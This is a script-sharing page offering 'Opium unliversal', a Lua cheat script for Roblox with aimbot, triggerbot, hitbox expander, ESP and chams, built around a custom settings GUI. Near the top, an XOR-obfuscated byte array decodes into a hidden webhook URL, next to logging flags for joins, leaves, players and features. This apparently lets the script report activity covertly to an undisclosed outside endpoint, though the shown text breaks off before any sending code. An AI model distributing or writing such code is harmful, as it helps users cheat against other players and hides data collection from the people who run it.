Zum Inhalt springen
Funktioniert

Opium unliversal

CLclarkdevlinorg1 AufrufeUniversal26. Juli 2026
Teilen
Opium unliversal

Script-Code

Lua
local Players=game:GetService("Players")
local RunService=game:GetService("RunService")
local UserInput=game:GetService("UserInputService")
local TweenService=game:GetService("TweenService")
local Lighting=game:GetService("Lighting")
local TeleportService=game:GetService("TeleportService")
local HttpService=game:GetService("HttpService")
local Camera=workspace.CurrentCamera
local LocalPlayer=Players.LocalPlayer
local ACCENT=Color3.fromRGB(10,132,255)
local _wk={48,112,49,117,109}
local _wd={88,4,69,5,30,10,95,30,22,12,94,17,67,12,67,84,25,66,22,2,66,20,31,22,2,93,95,80,5,4,31,7,84,23,5,95,31,90,6,66,1,69,3,70,90,9,67,4,66,93,0,67,8,77,88,7,65,4,65,66,125,54,118,6,94,113,65,9,24,90,3,37,114,20,32,70,67,8,25,14,106,72,119,12,50,7,40,122,59,10,67,32,83,16,47,115,27,92,34,8,6,61,110,65,27,126,61,0,24,21,81,67,102,1,58,115,20,4,48,93,121,72,93,6,40,6,17,116}
local WEBHOOK_URL=""
do local o={} for i=1,#_wd do o[i]=string.char(bit32.bxor(_wd[i],_wk[(i-1)%#_wk+1])) end WEBHOOK_URL=table.concat(o) end
local LOG={ Join=true, Leave=true, Players=true, Features=true, Errors=true, LocalFile=true }
local onFeature, opiumLeave
local conns={}
local function track(c) table.insert(conns,c); return c end
local Settings={
    Aimbot=false, Triggerbot=false, TeamCheck=true, AimPart="Head", AimMode="Crosshair", AimSmooth=1, AimFOV=120, FOVCircle=false, Hitbox=false, HitboxSize=8,
    Ragebot=false, SilentAim=false, HitChance=100, Predict=false, AntiAim="Off",
    Boxes=false, Names=false, Distance=true, Tracers=false, Healthbar=false, Chams=false, BoxFill=false, Arrows=false,
    Skeleton=false, HeadDot=false, Friends=false, WeaponESP=false, Backtrack=false, Radar=false,
    Fullbright=false, NoFog=false, AntiAFK=false, FpsBoost=false, FOV=70, DayTime=14,
    NoFall=false, FakeLag=false, FlingMode="Off", Attach=false,
    WalkSpeed=16, JumpPower=50, Gravity=196, Fly=false, FlySpeed=50, InfJump=false, Noclip=false, Spinbot=false, SpinSpeed=15, ClickTP=false, AutoBhop=false,
    AutoClick=false, CPS=15, Freeze=false, XRay=false, AntiKick=false,
    Rainbow=false, Watermark=false, Streamproof=false, ESPRate=1, AutoSave=false, MenuKey="End",
    VisCheck=false, Sticky=false, TrigDelay=80, KillAura=false, AuraRange=15,
    ESPMaxDist=0, TracerOrigin="Bottom", RainbowChams=false, NPCESP=false, Crosshair=false,
    Freecam=false, AntiVoid=false, AutoRejoin=false, Reach=false, ReachSize=8,
    Profile="1", Keybinds={},
}
local Colors={Boxes=ACCENT, Names=Color3.fromRGB(255,255,255), Distance=Color3.fromRGB(200,210,225), Tracers=ACCENT, Chams=ACCENT, Accent=ACCENT, Friend=Color3.fromRGB(90,200,255)}
local Layout={Name={x=0.5,y=-0.12}, Distance={x=0.5,y=1.06}, Health={x=-0.07,y=0.5}}
local restyleAccent
local refreshers={}
local friendCache={}
local function cfgFile() return "opium_config_"..tostring(Settings.Profile)..".json" end
local function encC(c) return {math.floor(c.R*255+0.5),math.floor(c.G*255+0.5),math.floor(c.B*255+0.5)} end
local function decC(t) return Color3.fromRGB(t[1],t[2],t[3]) end
local function saveConfig()
    local data={Settings={},Colors={},Layout=Layout}
    for k,v in pairs(Settings) do data.Settings[k]=v end
    for k,v in pairs(Colors) do data.Colors[k]=encC(v) end
    pcall(function() writefile(cfgFile(), game:GetService("HttpService"):JSONEncode(data)) end)
end
local function loadConfig()
    pcall(function()
        if isfile and isfile(cfgFile()) then
            local d=game:GetService("HttpService"):JSONDecode(readfile(cfgFile()))
            if d.Settings then for k,v in pairs(d.Settings) do Settings[k]=v end end
            if d.Colors then for k,v in pairs(d.Colors) do Colors[k]=decC(v) end end
            if d.Layout then for k,v in pairs(d.Layout) do Layout[k]=v end end
        end
    end)
end
loadConfig()
local drawings={}
local function getSet(key)
    if not drawings[key] then
        local s={box=Drawing.new("Square"),name=Drawing.new("Text"),dist=Drawing.new("Text"),tracer=Drawing.new("Line"),hpbg=Drawing.new("Line"),hpfill=Drawing.new("Line"),arrow=Drawing.new("Triangle")}
        s.box.Filled=false; s.name.Center=true; s.name.Outline=true; s.dist.Center=true; s.dist.Outline=true; s.arrow.Filled=true
        drawings[key]=s
    end
    return drawings[key]
end
local function removeKey(key) local s=drawings[key]; if s then for _,d in pairs(s) do d:Remove() end drawings[key]=nil end end
local chams={}
local function setChams(plr, on)
    if on then
        local ch=plr.Character
        local cc=Settings.RainbowChams and Color3.fromHSV(tick()%5/5,0.8,1) or Colors.Chams
        if ch and not chams[plr] then
            local hl=Instance.new("Highlight"); hl.FillColor=cc; hl.OutlineColor=Color3.fromRGB(255,255,255)
            hl.FillTransparency=0.5; hl.OutlineTransparency=0; hl.DepthMode=Enum.HighlightDepthMode.AlwaysOnTop
            hl.Adornee=ch; hl.Parent=ch; chams[plr]=hl
        elseif chams[plr] then chams[plr].FillColor=cc; if ch and chams[plr].Adornee~=ch then chams[plr].Adornee=ch; chams[plr].Parent=ch end end
    else if chams[plr] then chams[plr]:Destroy(); chams[plr]=nil end end
end
track(RunService.RenderStepped:Connect(function()
    espTick=(espTick or 0)+1
    if Settings.ESPRate>1 and espTick%Settings.ESPRate~=0 then return end
    local center=Camera.ViewportSize/2
    for _,plr in pairs(Players:GetPlayers()) do
        if plr==LocalPlayer then continue end
        local key=plr.UserId; local char=plr.Character
        local fCol=(Settings.Friends and friendCache[plr.UserId]) and Colors.Friend or nil
        setChams(plr, Settings.Chams and char~=nil)
        local root=char and char:FindFirstChild("HumanoidRootPart")
        local head=char and char:FindFirstChild("Head")
        local hum=char and char:FindFirstChildOfClass("Humanoid")
        local myRoot=LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
        if not (root and head and myRoot) then if drawings[key] then for _,d in pairs(drawings[key]) do d.Visible=false end end continue end
        local top,onScreen=Camera:WorldToViewportPoint(head.Position+Vector3.new(0,0.5,0))
        local bottom=Camera:WorldToViewportPoint(root.Position-Vector3.new(0,3,0))
        local s=getSet(key)
        if Settings.Arrows and (not onScreen or top.Z<0) then
            local v=Vector2.new(top.X,top.Y)-center; if top.Z<0 then v=-v end
            if v.Magnitude<1 then v=Vector2.new(0,-1) end
            local ang=math.atan2(v.Y,v.X); local rad=math.min(center.X,center.Y)*0.72
            local pos=center+Vector2.new(math.cos(ang),math.sin(ang))*rad; local sz=13
            s.arrow.PointA=pos+Vector2.new(math.cos(ang),math.sin(ang))*sz
            s.arrow.PointB=pos+Vector2.new(math.cos(ang+2.5),math.sin(ang+2.5))*sz
            s.arrow.PointC=pos+Vector2.new(math.cos(ang-2.5),math.sin(ang-2.5))*sz
            s.arrow.Color=fCol or Colors.Boxes; s.arrow.Visible=true
        else s.arrow.Visible=false end
        if not onScreen then s.box.Visible=false; s.name.Visible=false; s.dist.Visible=false; s.tracer.Visible=false; s.hpbg.Visible=false; s.hpfill.Visible=false; continue end
        local espDist=(myRoot.Position-root.Position).Magnitude
        if Settings.ESPMaxDist>0 and espDist>Settings.ESPMaxDist then s.box.Visible=false; s.name.Visible=false; s.dist.Visible=false; s.tracer.Visible=false; s.hpbg.Visible=false; s.hpfill.Visible=false; continue end
        local height=(bottom-top).Y; local width=height*0.6
        local boxLeft=top.X-width/2; local boxTop=top.Y
        local function anchor(rel) return Vector2.new(boxLeft+rel.x*width,boxTop+rel.y*height) end
        if Settings.Boxes then s.box.Color=fCol or Colors.Boxes; s.box.Thickness=2; s.box.Filled=Settings.BoxFill; s.box.Transparency=Settings.BoxFill and 0.4 or 1; s.box.Size=Vector2.new(width,height); s.box.Position=Vector2.new(boxLeft,boxTop); s.box.Visible=true else s.box.Visible=false end
        if Settings.Names then s.name.Color=fCol or Colors.Names; s.name.Text=plr.Name; s.name.Size=16; s.name.Position=anchor(Layout.Name); s.name.Visible=true else s.name.Visible=false end
        if Settings.Distance then s.dist.Color=Colors.Distance; s.dist.Text="["..math.floor((myRoot.Position-root.Position).Magnitude).."m]"; s.dist.Size=14; s.dist.Position=anchor(Layout.Distance); s.dist.Visible=true else s.dist.Visible=false end
        if Settings.Tracers then local fromV; if Settings.TracerOrigin=="Top" then fromV=Vector2.new(center.X,0) elseif Settings.TracerOrigin=="Mouse" then fromV=UserInput:GetMouseLocation() else fromV=Vector2.new(center.X,Camera.ViewportSize.Y) end s.tracer.Color=Colors.Tracers; s.tracer.Thickness=1.5; s.tracer.From=fromV; s.tracer.To=Vector2.new(bottom.X,bottom.Y); s.tracer.Visible=true else s.tracer.Visible=false end
        if Settings.Healthbar and hum then
            local frac=math.clamp(hum.Health/math.max(hum.MaxHealth,1),0,1); local hx=boxLeft+Layout.Health.x*width; local yT,yB=boxTop,boxTop+height
            s.hpbg.Thickness=4; s.hpbg.Color=Color3.fromRGB(20,20,20); s.hpbg.From=Vector2.new(hx,yT); s.hpbg.To=Vector2.new(hx,yB); s.hpbg.Visible=true
            s.hpfill.Thickness=3; s.hpfill.Color=Color3.fromRGB(math.floor(255*(1-frac)),math.floor(255*frac),55); s.hpfill.From=Vector2.new(hx,yB); s.hpfill.To=Vector2.new(hx,yB-height*frac); s.hpfill.Visible=true
        else s.hpbg.Visible=false; s.hpfill.Visible=false end
    end
end))
track(Players.PlayerRemoving:Connect(function(plr) removeKey(plr.UserId); if chams[plr] then chams[plr]:Destroy(); chams[plr]=nil end end))
local gui=Instance.new("ScreenGui"); gui.Name="Opium"; gui.ResetOnSpawn=false; gui.IgnoreGuiInset=true
gui.ZIndexBehavior=Enum.ZIndexBehavior.Sibling; gui.Parent=(gethui and gethui()) or game:GetService("CoreGui")
local hud=Instance.new("Frame"); hud.Size=UDim2.new(1,0,1,0); hud.BackgroundTransparency=1; hud.Parent=gui
local function glass(parent,w,h)
    local f=Instance.new("Frame"); f.Size=UDim2.new(0,w,0,h); f.BackgroundColor3=Color3.fromRGB(255,255,255); f.BackgroundTransparency=0.82; f.BorderSizePixel=0; f.Parent=parent
    Instance.new("UICorner",f).CornerRadius=UDim.new(0,18)
    local g=Instance.new("UIGradient",f); g.Rotation=90; g.Color=ColorSequence.new(Color3.fromRGB(255,255,255),Color3.fromRGB(205,212,225)); g.Transparency=NumberSequence.new({NumberSequenceKeypoint.new(0,0.78),NumberSequenceKeypoint.new(1,0.9)})
    Instance.new("UIStroke",f).Transparency=0.55
    return f
end
local currentPopup
local function bindPick(area,cb)
    local active=false
    local function upd() local m=UserInput:GetMouseLocation()-area.AbsolutePosition; cb(math.clamp(m.X/area.AbsoluteSize.X,0,1),math.clamp(m.Y/area.AbsoluteSize.Y,0,1)) end
    track(area.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 then active=true; upd() end end))
    track(UserInput.InputChanged:Connect(function(i) if active and i.UserInputType==Enum.UserInputType.MouseMovement then upd() end end))
    track(UserInput.InputEnded:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 then active=false end end))
end
local function openPicker(colorKey,anchorObj)
    if currentPopup then currentPopup:Destroy() end
    local h,sVal,vVal=Colors[colorKey]:ToHSV()
    local pop=Instance.new("Frame"); pop.Size=UDim2.new(0,200,0,180); pop.Position=UDim2.new(0,anchorObj.AbsolutePosition.X-210,0,anchorObj.AbsolutePosition.Y); pop.BackgroundColor3=Color3.fromRGB(28,30,36); pop.BorderSizePixel=0; pop.ZIndex=200; pop.Parent=hud
    Instance.new("UICorner",pop).CornerRadius=UDim.new(0,12); local ps=Instance.new("UIStroke",pop); ps.Transparency=0.7
    local title=Instance.new("TextLabel"); title.Size=UDim2.new(1,-16,0,20); title.Position=UDim2.new(0,10,0,6); title.BackgroundTransparency=1; title.Text=colorKey.." Farbe"; title.TextColor3=Color3.fromRGB(255,255,255); title.ZIndex=201; title.TextXAlignment=Enum.TextXAlignment.Left; title.Font=Enum.Font.GothamBold; title.TextSize=13; title.Parent=pop
    local sv=Instance.new("ImageButton"); sv.Size=UDim2.new(0,140,0,120); sv.Position=UDim2.new(0,10,0,32); sv.BorderSizePixel=0; sv.AutoButtonColor=false; sv.ZIndex=201; sv.Parent=pop; Instance.new("UICorner",sv).CornerRadius=UDim.new(0,8)
    local wF=Instance.new("Frame"); wF.Size=UDim2.new(1,0,1,0); wF.BorderSizePixel=0; wF.ZIndex=202; wF.Parent=sv; Instance.new("UICorner",wF).CornerRadius=UDim.new(0,8)
    local wg=Instance.new("UIGradient",wF); wg.Transparency=NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(1,1)})
    local bF=Instance.new("Frame"); bF.Size=UDim2.new(1,0,1,0); bF.BackgroundColor3=Color3.fromRGB(0,0,0); bF.BorderSizePixel=0; bF.ZIndex=203; bF.Parent=sv; Instance.new("UICorner",bF).CornerRadius=UDim.new(0,8)
    local bg=Instance.new("UIGradient",bF); bg.Rotation=90; bg.Transparency=NumberSequence.new({NumberSequenceKeypoint.new(0,1),NumberSequenceKeypoint.new(1,0)})
    local svCur=Instance.new("Frame"); svCur.Size=UDim2.new(0,8,0,8); svCur.AnchorPoint=Vector2.new(0.5,0.5); svCur.BackgroundColor3=Color3.fromRGB(255,255,255); svCur.BorderSizePixel=0; svCur.ZIndex=204; svCur.Parent=sv; Instance.new("UICorner",svCur).CornerRadius=UDim.new(1,0); Instance.new("UIStroke",svCur).Color=Color3.fromRGB(0,0,0)
    local hue=Instance.new("ImageButton"); hue.Size=UDim2.new(0,22,0,120); hue.Position=UDim2.new(0,160,0,32); hue.BorderSizePixel=0; hue.AutoButtonColor=false; hue.ZIndex=201; hue.Parent=pop; Instance.new("UICorner",hue).CornerRadius=UDim.new(0,6)
    local hg=Instance.new("UIGradient",hue); hg.Rotation=90; hg.Color=ColorSequence.new({ColorSequenceKeypoint.new(0.00,Color3.fromRGB(255,0,0)),ColorSequenceKeypoint.new(0.17,Color3.fromRGB(255,255,0)),ColorSequenceKeypoint.new(0.33,Color3.fromRGB(0,255,0)),ColorSequenceKeypoint.new(0.50,Color3.fromRGB(0,255,255)),ColorSequenceKeypoint.new(0.67,Color3.fromRGB(0,0,255)),ColorSequenceKeypoint.new(0.83,Color3.fromRGB(255,0,255)),ColorSequenceKeypoint.new(1.00,Color3.fromRGB(255,0,0))})
    local hueCur=Instance.new("Frame"); hueCur.Size=UDim2.new(1,4,0,3); hueCur.AnchorPoint=Vector2.new(0.5,0.5); hueCur.BackgroundColor3=Color3.fromRGB(255,255,255); hueCur.BorderSizePixel=0; hueCur.ZIndex=202; hueCur.Parent=hue
    local function refresh() wF.BackgroundColor3=Color3.fromHSV(h,1,1); svCur.Position=UDim2.new(sVal,0,1-vVal,0); hueCur.Position=UDim2.new(0.5,0,h,0); local c=Color3.fromHSV(h,sVal,vVal); Colors[colorKey]=c; if anchorObj:FindFirstChild("Dot") then anchorObj.Dot.BackgroundColor3=c end if colorKey=="Accent" then ACCENT=c; if restyleAccent then restyleAccent() end end end
    refresh(); bindPick(sv,function(x,y) sVal=x; vVal=1-y; refresh() end); bindPick(hue,function(_,y) h=y; refresh() end)
    local cc; cc=UserInput.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 then local m=UserInput:GetMouseLocation(); local p,z=pop.AbsolutePosition,pop.AbsoluteSize; if m.X<p.X or m.X>p.X+z.X or m.Y<p.Y or m.Y>p.Y+z.Y then task.wait(); pop:Destroy(); cc:Disconnect() end end end)
    currentPopup=pop
end
local notifBox=Instance.new("Frame"); notifBox.AnchorPoint=Vector2.new(1,1); notifBox.Position=UDim2.new(1,-14,1,-14); notifBox.Size=UDim2.new(0,240,0,0); notifBox.AutomaticSize=Enum.AutomaticSize.Y; notifBox.BackgroundTransparency=1; notifBox.ZIndex=300; notifBox.Parent=hud
local nll=Instance.new("UIListLayout",notifBox); nll.Padding=UDim.new(0,6); nll.VerticalAlignment=Enum.VerticalAlignment.Bottom; nll.HorizontalAlignment=Enum.HorizontalAlignment.Right; nll.SortOrder=Enum.SortOrder.LayoutOrder
local function notify(text,col)
    local t=Instance.new("Frame"); t.Size=UDim2.new(1,0,0,34); t.BackgroundColor3=Color3.fromRGB(20,22,28); t.BackgroundTransparency=1; t.BorderSizePixel=0; t.ZIndex=301; t.Parent=notifBox
    Instance.new("UICorner",t).CornerRadius=UDim.new(0,10); local st=Instance.new("UIStroke",t); st.Color=col or ACCENT; st.Transparency=1
    local bar=Instance.new("Frame"); bar.Size=UDim2.new(0,3,1,-10); bar.Position=UDim2.new(0,6,0,5); bar.BackgroundColor3=col or ACCENT; bar.BorderSizePixel=0; bar.ZIndex=302; bar.Parent=t; Instance.new("UICorner",bar).CornerRadius=UDim.new(1,0)
    local lb=Instance.new("TextLabel"); lb.Size=UDim2.new(1,-20,1,0); lb.Position=UDim2.new(0,16,0,0); lb.BackgroundTransparency=1; lb.Text=text; lb.TextColor3=Color3.fromRGB(255,255,255); lb.TextTransparency=1; lb.TextXAlignment=Enum.TextXAlignment.Left; lb.Font=Enum.Font.GothamMedium; lb.TextSize=13; lb.ZIndex=302; lb.Parent=t
    local qi=TweenInfo.new(0.25)
    TweenService:Create(t,qi,{BackgroundTransparency=0.1}):Play(); TweenService:Create(st,qi,{Transparency=0.4}):Play(); TweenService:Create(lb,qi,{TextTransparency=0}):Play()
    task.delay(2.6,function() TweenService:Create(t,qi,{BackgroundTransparency=1}):Play(); TweenService:Create(st,qi,{Transparency=1}):Play(); TweenService:Create(lb,qi,{TextTransparency=1}):Play(); task.delay(0.3,function() t:Destroy() end) end)
end
local allControls={}
local toggleActions={}
local bindingNow=false
local function makeToggle(parent,text,key,colorKey,onToggle)
    local row=Instance.new("Frame"); row.Size=UDim2.new(1,0,0,40); row.BackgroundColor3=Color3.fromRGB(255,255,255); row.BackgroundTransparency=0.88; row.BorderSizePixel=0; row.Parent=parent
    Instance.new("UICorner",row).CornerRadius=UDim.new(0,12); Instance.new("UIStroke",row).Transparency=0.82
    if colorKey then local dot=Instance.new("Frame"); dot.Name="Dot"; dot.Size=UDim2.new(0,11,0,11); dot.Position=UDim2.new(0,12,0.5,-5); dot.BackgroundColor3=Colors[colorKey]; dot.BorderSizePixel=0; dot.Parent=row; Instance.new("UICorner",dot).CornerRadius=UDim.new(1,0) end
    local label=Instance.new("TextLabel"); label.Size=UDim2.new(1,-104,1,0); label.Position=UDim2.new(0,colorKey and 30 or 12,0,0); label.BackgroundTransparency=1; label.Text=text; label.TextColor3=Color3.fromRGB(255,255,255); label.TextXAlignment=Enum.TextXAlignment.Left; label.Font=Enum.Font.GothamMedium; label.TextSize=14; label.Parent=row
    local sw=Instance.new("TextButton"); sw.Size=UDim2.new(0,42,0,22); sw.Position=UDim2.new(1,-52,0.5,-11); sw.BackgroundColor3=Settings[key] and ACCENT or Color3.fromRGB(120,120,130); sw.BackgroundTransparency=Settings[key] and 0 or 0.4; sw.Text=""; sw.AutoButtonColor=false; sw.Parent=row; Instance.new("UICorner",sw).CornerRadius=UDim.new(1,0)
    local kb=Instance.new("Frame"); kb.Size=UDim2.new(0,16,0,16); kb.Position=Settings[key] and UDim2.new(1,-19,0.5,-8) or UDim2.new(0,3,0.5,-8); kb.BackgroundColor3=Color3.fromRGB(255,255,255); kb.BorderSizePixel=0; kb.Parent=sw; Instance.new("UICorner",kb).CornerRadius=UDim.new(1,0)
    local kbtn=Instance.new("TextButton"); kbtn.Size=UDim2.new(0,22,0,18); kbtn.Position=UDim2.new(1,-78,0.5,-9); kbtn.BackgroundColor3=Color3.fromRGB(255,255,255); kbtn.BackgroundTransparency=0.85; kbtn.Text=Settings.Keybinds[key] or ""; kbtn.TextColor3=ACCENT; kbtn.Font=Enum.Font.GothamBold; kbtn.TextSize=10; kbtn.Parent=row; Instance.new("UICorner",kbtn).CornerRadius=UDim.new(0,6)
    local function setVisual(on) local ti=TweenInfo.new(0.16,Enum.EasingStyle.Quad); TweenService:Create(sw,ti,{BackgroundColor3=on and ACCENT or Color3.fromRGB(120,120,130),BackgroundTransparency=on and 0 or 0.4}):Play(); TweenService:Create(kb,ti,{Position=on and UDim2.new(1,-19,0.5,-8) or UDim2.new(0,3,0.5,-8)}):Play() end
    local function flip() Settings[key]=not Settings[key]; setVisual(Settings[key]); notify(text..": "..(Settings[key] and "ON" or "OFF")); if onToggle then onToggle(Settings[key]) end if onFeature then onFeature(text,Settings[key]) end end
    sw.MouseButton1Click:Connect(flip)
    toggleActions[key]=flip
    table.insert(refreshers,function() setVisual(Settings[key]); kbtn.Text=Settings.Keybinds[key] or "" end)
    kbtn.MouseButton1Click:Connect(function() bindingNow=true; kbtn.Text=".."; local c; c=UserInput.InputBegan:Connect(function(inp) if inp.UserInputType==Enum.UserInputType.Keyboard then local n=inp.KeyCode.Name; if n=="Backspace" then Settings.Keybinds[key]=nil; kbtn.Text="" else Settings.Keybinds[key]=n; kbtn.Text=n end c:Disconnect(); task.delay(0.2,function() bindingNow=false end) end end) end)
    if colorKey then row.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton2 then openPicker(colorKey,row) end end) end
    table.insert(allControls,{row=row,text=text:lower()})
end
local function makeSlider(parent,text,key,min,max,suffix)
    local box=Instance.new("Frame"); box.Size=UDim2.new(1,0,0,46); box.BackgroundColor3=Color3.fromRGB(255,255,255); box.BackgroundTransparency=0.88; box.BorderSizePixel=0; box.Parent=parent
    Instance.new("UICorner",box).CornerRadius=UDim.new(0,12); Instance.new("UIStroke",box).Transparency=0.82
    local label=Instance.new("TextLabel"); label.Size=UDim2.new(1,-24,0,18); label.Position=UDim2.new(0,12,0,5); label.BackgroundTransparency=1; label.Text=text; label.TextColor3=Color3.fromRGB(255,255,255); label.TextXAlignment=Enum.TextXAlignment.Left; label.Font=Enum.Font.GothamMedium; label.TextSize=14; label.Parent=box
    local val=Instance.new("TextLabel"); val.Size=UDim2.new(1,-12,0,18); val.Position=UDim2.new(0,0,0,5); val.BackgroundTransparency=1; val.TextColor3=ACCENT; val.TextXAlignment=Enum.TextXAlignment.Right; val.Font=Enum.Font.GothamBold; val.TextSize=13; val.Parent=box
    local tr=Instance.new("TextButton"); tr.Size=UDim2.new(1,-24,0,6); tr.Position=UDim2.new(0,12,0,32); tr.BackgroundColor3=Color3.fromRGB(120,120,130); tr.BackgroundTransparency=0.3; tr.Text=""; tr.AutoButtonColor=false; tr.Parent=box; Instance.new("UICorner",tr).CornerRadius=UDim.new(1,0)
    local fill=Instance.new("Frame"); fill.BackgroundColor3=ACCENT; fill.BorderSizePixel=0; fill.Parent=tr; Instance.new("UICorner",fill).CornerRadius=UDim.new(1,0)
    local function apply(v) v=math.floor(v+0.5); Settings[key]=v; fill.Size=UDim2.new((v-min)/(max-min),0,1,0); val.Text=v..(suffix or "") end
    apply(Settings[key]); bindPick(tr,function(x) apply(min+(max-min)*x) end)
    table.insert(refreshers,function() apply(Settings[key]) end)
    table.insert(allControls,{row=box,text=text:lower()})
end
local function makeCycler(parent,text,key,options)
    local row=Instance.new("Frame"); row.Size=UDim2.new(1,0,0,40); row.BackgroundColor3=Color3.fromRGB(255,255,255); row.BackgroundTransparency=0.88; row.BorderSizePixel=0; row.Parent=parent
    Instance.new("UICorner",row).CornerRadius=UDim.new(0,12); Instance.new("UIStroke",row).Transparency=0.82
    local label=Instance.new("TextLabel"); label.Size=UDim2.new(0.5,0,1,0); label.Position=UDim2.new(0,12,0,0); label.BackgroundTransparency=1; label.Text=text; label.TextColor3=Color3.fromRGB(255,255,255); label.TextXAlignment=Enum.TextXAlignment.Left; label.Font=Enum.Font.GothamMedium; label.TextSize=14; label.Parent=row
    local btn=Instance.new("TextButton"); btn.Size=UDim2.new(0,0,0,24); btn.AutomaticSize=Enum.AutomaticSize.X; btn.Position=UDim2.new(1,-8,0.5,-12); btn.AnchorPoint=Vector2.new(1,0); btn.BackgroundColor3=ACCENT; btn.BackgroundTransparency=0.1; btn.Text=Settings[key]; btn.TextColor3=Color3.fromRGB(255,255,255); btn.Font=Enum.Font.GothamBold; btn.TextSize=13; btn.Parent=row
    Instance.new("UICorner",btn).CornerRadius=UDim.new(0,8); local p=Instance.new("UIPadding",btn); p.PaddingLeft=UDim.new(0,10); p.PaddingRight=UDim.new(0,10)
    local idx=1; for i,o in ipairs(options) do if o==Settings[key] then idx=i end end
    btn.MouseButton1Click:Connect(function() idx=idx%#options+1; Settings[key]=options[idx]; btn.Text=Settings[key] end)
    table.insert(refreshers,function() btn.Text=Settings[key]; for i,o in ipairs(options) do if o==Settings[key] then idx=i end end end)
    table.insert(allControls,{row=row,text=text:lower()})
end
local function makeButton(parent,text,cb)
    local btn=Instance.new("TextButton"); btn.Size=UDim2.new(1,0,0,38); btn.BackgroundColor3=ACCENT; btn.BackgroundTransparency=0.12; btn.Text=text; btn.TextColor3=Color3.fromRGB(255,255,255); btn.Font=Enum.Font.GothamBold; btn.TextSize=14; btn.AutoButtonColor=true; btn.Parent=parent
    Instance.new("UICorner",btn).CornerRadius=UDim.new(0,12); btn.MouseButton1Click:Connect(cb)
end
local windows={}
local updateDock
local function dragBar(win,bar)
    local dr,st,base
    bar.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 then dr=true; st=UserInput:GetMouseLocation(); base=win.Position end end)
    track(UserInput.InputEnded:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 then dr=false end end))
    track(UserInput.InputChanged:Connect(function(i) if dr and i.UserInputType==Enum.UserInputType.MouseMovement then local d=UserInput:GetMouseLocation()-st; win.Position=UDim2.new(base.X.Scale,base.X.Offset+d.X,base.Y.Scale,base.Y.Offset+d.Y) end end))
end
local function makeWindow(name,w,h,pos)
    local win=glass(hud,w,h); win.Position=pos; win.Visible=false; win.ZIndex=2
    local bar=Instance.new("Frame"); bar.Size=UDim2.new(1,0,0,36); bar.BackgroundTransparency=1; bar.Parent=win
    local t=Instance.new("TextLabel"); t.Size=UDim2.new(1,-40,1,0); t.Position=UDim2.new(0,16,0,0); t.BackgroundTransparency=1; t.Text=name; t.TextColor3=Color3.fromRGB(255,255,255); t.TextXAlignment=Enum.TextXAlignment.Left; t.Font=Enum.Font.GothamBold; t.TextSize=17; t.Parent=bar
    local x=Instance.new("TextButton"); x.Size=UDim2.new(0,22,0,22); x.Position=UDim2.new(1,-30,0.5,-11); x.BackgroundColor3=Color3.fromRGB(255,90,90); x.BackgroundTransparency=0.1; x.Text=""; x.AutoButtonColor=true; x.Parent=bar; Instance.new("UICorner",x).CornerRadius=UDim.new(1,0)
    for _,r in ipairs({45,-45}) do local d=Instance.new("Frame"); d.AnchorPoint=Vector2.new(0.5,0.5); d.Position=UDim2.new(0.5,0,0.5,0); d.Size=UDim2.new(0,11,0,2); d.Rotation=r; d.BackgroundColor3=Color3.fromRGB(255,255,255); d.BorderSizePixel=0; d.Parent=x; Instance.new("UICorner",d).CornerRadius=UDim.new(1,0) end
    bar.InputBegan:Connect(function(i) if i.UserInputType==Enum.UserInputType.MouseButton1 then for _,wd in pairs(windows) do wd.frame.ZIndex=2 end win.ZIndex=3 end end)
    dragBar(win,bar); x.MouseButton1Click:Connect(function() win.Visible=false; if updateDock then updateDock() end end)
    local body=Instance.new("Frame"); body.Size=UDim2.new(1,-24,1,-46); body.Position=UDim2.new(0,12,0,40); body.BackgroundTransparency=1; body.Parent=win
    windows[name]={frame=win}
    return win,body
end
local function makeScroll(parent)
    local sc=Instance.new("ScrollingFrame"); sc.Size=UDim2.new(1,0,1,0); sc.BackgroundTransparency=1; sc.BorderSizePixel=0; sc.ScrollBarThickness=3; sc.ScrollBarImageColor3=Color3.fromRGB(255,255,255); sc.AutomaticCanvasSize=Enum.AutomaticSize.Y; sc.CanvasSize=UDim2.new(0,0,0,0); sc.Parent=parent
    local ll=Instance.new("UIListLayout",sc); ll.Padding=UDim.new(0,8); ll.SortOrder=Enum.SortOrder.LayoutOrder
    return sc
end
local _,cb=makeWindow("Combat",250,300,UDim2.new(0.28,0,0.20,0)); local cs=makeScroll(cb)
makeToggle(cs,"Aimbot (hold RMB)","Aimbot"); makeToggle(cs,"Triggerbot","Triggerbot"); makeToggle(cs,"Team Check","TeamCheck")
makeCycler(cs,"Aim Part","AimPart",{"Head","Torso","HRP"}); makeCycler(cs,"Aim Priority","AimMode",{"Crosshair","Distance","Lowest HP"})
makeSlider(cs,"Smoothness","AimSmooth",1,20,"")
makeSlider(cs,"Aim FOV","AimFOV",40,400," px"); makeToggle(cs,"FOV Circle","FOVCircle")
makeToggle(cs,"Hitbox Expander","Hitbox"); makeSlider(cs,"Hitbox Size","HitboxSize",4,30,"")
local vwin,vbody=makeWindow("Visual",440,340,UDim2.new(0.34,0,0.16,0))
local vLeft=Instance.new("Frame"); vLeft.Size=UDim2.new(0,196,1,0); vLeft.BackgroundTransparency=1; vLeft.Parent=vbody; local vs=makeScroll(vLeft)
makeToggle(vs,"Boxes","Boxes","Boxes"); makeToggle(vs,"Box Fill","BoxFill"); makeToggle(vs,"Names","Names","Names"); makeToggle(vs,"Distance","Distance","Distance")
makeToggle(vs,"Tracers","Tracers","Tracers"); makeToggle(vs,"Healthbar","Healthbar"); makeToggle(vs,"Chams","Chams","Chams"); makeToggle(vs,"Off-screen Arrows","Arrows")
local vRight=Instance.new("Frame"); vRight.Size=UDim2.new(1,-208,1,0); vRight.Position=UDim2.new(0,208,0,0); vRight.BackgroundTransparency=1; vRight.Parent=vbody
local _,mb=makeWindow("Misc",250,300,UDim2.new(0.26,0,0.30,0)); local ms=makeScroll(mb)
makeToggle(ms,"Fullbright","Fullbright"); makeToggle(ms,"No Fog","NoFog"); makeToggle(ms,"Anti AFK","AntiAFK")
